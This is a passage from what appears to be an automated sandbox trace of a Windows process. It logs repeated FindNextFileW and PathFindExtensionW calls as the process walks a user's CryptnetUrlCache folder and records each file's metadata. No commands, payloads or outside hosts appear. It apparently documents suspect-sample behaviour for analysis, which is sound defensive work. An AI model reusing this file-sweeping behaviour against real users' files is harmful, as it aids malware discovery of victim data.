ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="" [0127.376] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.376] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0127.376] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="" [0127.377] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.377] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0127.377] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0127.377] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.377] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0127.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0127.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.378] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0127.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0127.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.378] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0127.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0127.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.378] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0127.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0127.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.378] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0127.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0127.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.378] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0127.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0127.378] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.378] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0127.378] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0127.379] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0127.379] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.379] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0127.380] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0127.380] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.380] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0127.380] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0127.380] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.380] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0127.380] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0127.380] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.380] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0127.380] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0127.380] HeapFree (in: hHeap=0x5c0000, 